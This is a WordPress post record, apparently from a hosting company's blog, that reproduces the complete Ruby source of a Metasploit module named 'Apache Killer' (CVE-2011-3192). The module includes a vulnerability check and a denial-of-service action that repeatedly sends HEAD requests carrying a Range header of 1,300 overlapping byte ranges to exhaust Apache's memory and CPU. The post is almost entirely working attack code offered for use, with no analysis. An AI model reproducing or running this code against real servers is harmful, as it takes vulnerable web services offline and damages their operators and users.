{"id":59278,"date":"2024-08-31T21:19:57","date_gmt":"2024-08-31T18:19:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180517\/apache_range_dos.rb.txt"},"modified":"2024-08-31T21:19:57","modified_gmt":"2024-08-31T18:19:57","slug":"apache-range-header-denial-of-service-apache-killer","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-range-header-denial-of-service-apache-killer\/","title":{"rendered":"Apache Range Header Denial of Service (Apache Killer)"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Dos<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Apache Range Header DoS (Apache Killer)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x<br \/>through 2.2.19 allows remote attackers to cause a denial of service (memory and<br \/>CPU consumption) via a Range header that expresses multiple overlapping ranges,<br \/>exploit called &#8220;Apache Killer&#8221;<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Kingcope&#8217;, #original discoverer<br \/>&#8216;Masashi Fujiwara&#8217;, #metasploit module<br \/>&#8216;Markus Neis &lt;markus.neis[at]gmail.com&gt;&#8217; # check for vulnerability<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Actions&#8217; =&gt;<br \/>[<br \/>[&#8216;DOS&#8217;, &#8216;Description&#8217; =&gt; &#8216;Trigger Denial of Service against target&#8217;],<br \/>[&#8216;CHECK&#8217;, &#8216;Description&#8217; =&gt; &#8216;Check if target is vulnerable&#8217;]],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;DOS&#8217;,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;BID&#8217;, &#8216;49303&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2011-3192&#8217;],<br \/>[ &#8216;EDB&#8217;, &#8216;17696&#8217;],<br \/>[ &#8216;OSVDB&#8217;, &#8216;74721&#8217; ],<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2011-08-19&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(80),<br \/>OptString.new(&#8216;URI&#8217;, [ true, &#8220;The request URI&#8221;, &#8216;\/&#8217;]),<br \/>OptInt.new(&#8216;RLIMIT&#8217;, [ true, &#8220;Number of requests to send&#8221;,50])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<\/p>\n<p>case action.name<br \/>when &#8216;DOS&#8217;<br \/>conduct_dos()<\/p>\n<p>when &#8216;CHECK&#8217;<br \/>check_for_dos()<br \/>end<\/p>\n<p>end<\/p>\n<p>def check_for_dos()<br \/>uri = datastore[&#8216;URI&#8217;]rhost = datastore[&#8216;RHOST&#8217;]begin<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; &#8216;HEAD&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8220;HOST&#8221; =&gt; rhost,<br \/>&#8220;Range&#8221; =&gt; &#8220;bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10&#8221;,<br \/>&#8220;Request-Range&#8221; =&gt; &#8220;bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10&#8221;<br \/>}<br \/>})<\/p>\n<p>if (res and res.code == 206)<br \/>print_status(&#8220;Response was #{res.code}&#8221;)<br \/>print_status(&#8220;Found Byte-Range Header DOS at #{uri}&#8221;)<\/p>\n<p>report_note(<br \/>:host =&gt; rhost,<br \/>:port =&gt; rport,<br \/>:type =&gt; &#8216;apache.killer&#8217;,<br \/>:data =&gt; &#8220;Apache Byte-Range DOS at #{uri}&#8221;<br \/>)<\/p>\n<p>else<br \/>print_status(&#8220;#{rhost} doesn&#8217;t seem to be vulnerable at #{uri}&#8221;)<br \/>end<\/p>\n<p>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>rescue ::Timeout::Error, ::Errno::EPIPE<br \/>end<br \/>end<\/p>\n<p>def conduct_dos()<br \/>uri = datastore[&#8216;URI&#8217;]rhost = datastore[&#8216;RHOST&#8217;]ranges = &#8221;<br \/>for i in (0..1299) do<br \/>ranges += &#8220;,5-&#8221; + i.to_s<br \/>end<br \/>for x in 1..datastore[&#8216;RLIMIT&#8217;]begin<br \/>print_status(&#8220;Sending DoS packet #{x} to #{rhost}:#{rport}&#8221;)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; &#8216;HEAD&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8220;HOST&#8221; =&gt; rhost,<br \/>&#8220;Range&#8221; =&gt; &#8220;bytes=0-#{ranges}&#8221;,<br \/>&#8220;Request-Range&#8221; =&gt; &#8220;bytes=0-#{ranges}&#8221;}},1)<\/p>\n<p>rescue ::Rex::ConnectionRefused<br \/>print_error(&#8220;Unable to connect to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Errno::ECONNRESET<br \/>print_good(&#8220;DoS packet successful. #{rhost} not responding.&#8221;)<br \/>rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>print_error(&#8220;Couldn&#8217;t connect to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Timeout::Error, ::Errno::EPIPE<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Apache Range Header DoS (Apache Killer)&#8217;,&#8216;Description&#8217; =&gt; %q{The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.xthrough 2.2.19 allows remote attackers to cause a denial of service (memory andCPU consumption) &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59278","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59278","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59278"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59278\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59278"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59278"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59278"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}